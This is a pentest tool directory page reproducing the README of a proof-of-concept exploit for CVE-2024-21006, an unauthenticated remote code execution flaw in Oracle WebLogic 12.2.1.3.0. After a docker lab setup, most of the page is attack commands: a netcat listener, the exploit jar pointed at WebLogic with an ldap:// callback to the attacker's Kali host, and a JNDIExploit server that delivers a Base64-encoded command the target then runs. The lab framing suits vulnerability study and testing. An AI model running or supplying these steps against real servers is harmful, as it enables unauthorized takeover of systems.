Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21006_PoC — Remote Code Execution (RCE) - Oracle WebLogic 12.2.1.3.0 | Kitploit
Tools/GitHubGitHub/d3fudd/cve-2024-21006_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubd3fudd/cve-2024-21006_poc

CVE-2024-21006_PoC

Remote Code Execution (RCE) - Oracle WebLogic 12.2.1.3.0

View Repository
41 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21006 PoC

CVE-2024-21006 is a critical Remote Code Execution (RCE) vulnerability affecting Oracle WebLogic Server. The flaw is related to the insecure use of the IIOP (Internet Inter-ORB Protocol) and JNDI (Java Naming and Directory Interface) protocols, allowing an unauthenticated remote attacker to execute arbitrary code on the affected server via a malicious JNDI reference.

Lab Deployment

Set up the environment:

root@kitploit:~
docker-compose up -d

To access the Kali shell:

root@kitploit:~
docker exec -it cve-2024-21006_poc-kali-1 /bin/bash

To access the WebLogic shell:

root@kitploit:~
docker exec -it cve-2024-21006_poc-weblogic-1 /bin/bash

To access the ExploitBox shell:

root@kitploit:~
docker exec -it exploitbox /bin/bash

At this stage, we have a WebLogic 12.2.1.3.0 instance running locally: http://127.0.0.1:7001/console/login/LoginForm.jsp

Exploring the Lab

Simple PoC:

On Kali:

root@kitploit:~
nc -vnlp 1389

On ExploitBox:

root@kitploit:~
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 ldap://<IP do Kali>:1389

Notice that Kali received the connection from WebLogic:

Obtaining RCE:

On Kali, start JNDIExploit:

root@kitploit:~
cd /exploit
root@kitploit:~
java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED \
-jar JNDIExploit/JNDIExploit-1.3-SNAPSHOT.jar -i <IP do Kali>

On ExploitBox, run the exploit:

root@kitploit:~
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 "ldap://<IP do Kali>:1389/Basic/Command/Base64/<Comando em Base64>"

On Kali, see that we received the request:

On WebLogic, see that the command was executed and the file was created successfully:

References:

  • https://github.com/lightr3d/CVE-2024-21006_jar
  • https://github.com/momika233/CVE-2024-21006
  • https://blog.csdn.net/zwy15288408160/article/details/138189146
  • https://blog.csdn.net/m0_46109609/article/details/114373594
Download Tool